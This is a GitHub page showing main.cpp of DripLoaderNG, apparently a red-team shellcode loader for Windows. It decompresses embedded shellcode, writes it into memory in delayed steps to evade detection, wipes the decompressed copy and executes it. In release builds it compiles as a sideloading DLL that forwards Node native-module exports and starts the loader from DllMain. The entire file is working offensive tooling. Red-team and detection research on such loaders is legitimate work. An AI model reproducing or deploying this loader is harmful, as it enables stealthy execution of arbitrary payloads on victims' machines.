DripLoaderNG/main.cpp at main · CoreyCBurton/DripLoaderNG · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <Windows.h>
#include <vector>

#include "drip.h"
#include "util.h"

static VOID executeShellcode(PVOID baseAddr)
{
	auto pBaseAddr = (void(*)())baseAddr;
	pBaseAddr();
}

static VOID wipeDecompressedShellcode(PVOID shellcode, SIZE_T shellcodeLength)
{
	SecureZeroMemory(shellcode, shellcodeLength);
	free(shellcode);
}

static VOID DripLoadNG()
{
	SIZE_T shellcodeLength = 0;
	PUCHAR decompressedShellcode = DecompressShellcode(&shellcodeLength);
	if (decompressedShellcode == nullptr)
	{
		DEBUG_LOG("Failed to decompress shellcode\n");
		return;
	}
	Delay(100);

	PVOID drippedShellcode = DripLoader(decompressedShellcode, shellcodeLength);
	if (drippedShellcode == nullptr)
	{
		DEBUG_LOG("Failed to drip shellcode\n");
		return;
	}
	Delay(100);

	wipeDecompressedShellcode(decompressedShellcode, shellcodeLength);

	Delay(100);

	executeShellcode(drippedShellcode);
}

#ifdef _DEBUG
int main()
{
	DripLoadNG();
	return 0;
}

#else

// "NODEin60seconds - Outflank"
// https://vimeo.com/856314414
#pragma comment (linker, "/export:napi_register_module_v1=nativebindings.node.napi_register_module_v1,@1")
#pragma comment (linker, "/export:node_api_module_get_api_version_v1=nativebindings.node.node_api_module_get_api_version_v1,@2")

static BOOL sideload()
{
	DWORD threadId = 0;
	HANDLE hThread = CreateThread(
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)DripLoadNG,
		NULL,
		0,
		&threadId
	);
	if (hThread == NULL)
	{
		DEBUG_LOG("Failed to create thread: 0x%lu\n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		if (!sideload())
			return FALSE;
		break;

	case DLL_PROCESS_DETACH:
		break;

	case DLL_THREAD_ATTACH:
		break;

	case DLL_THREAD_DETACH:
		break;
	}

	return TRUE;
}
#endif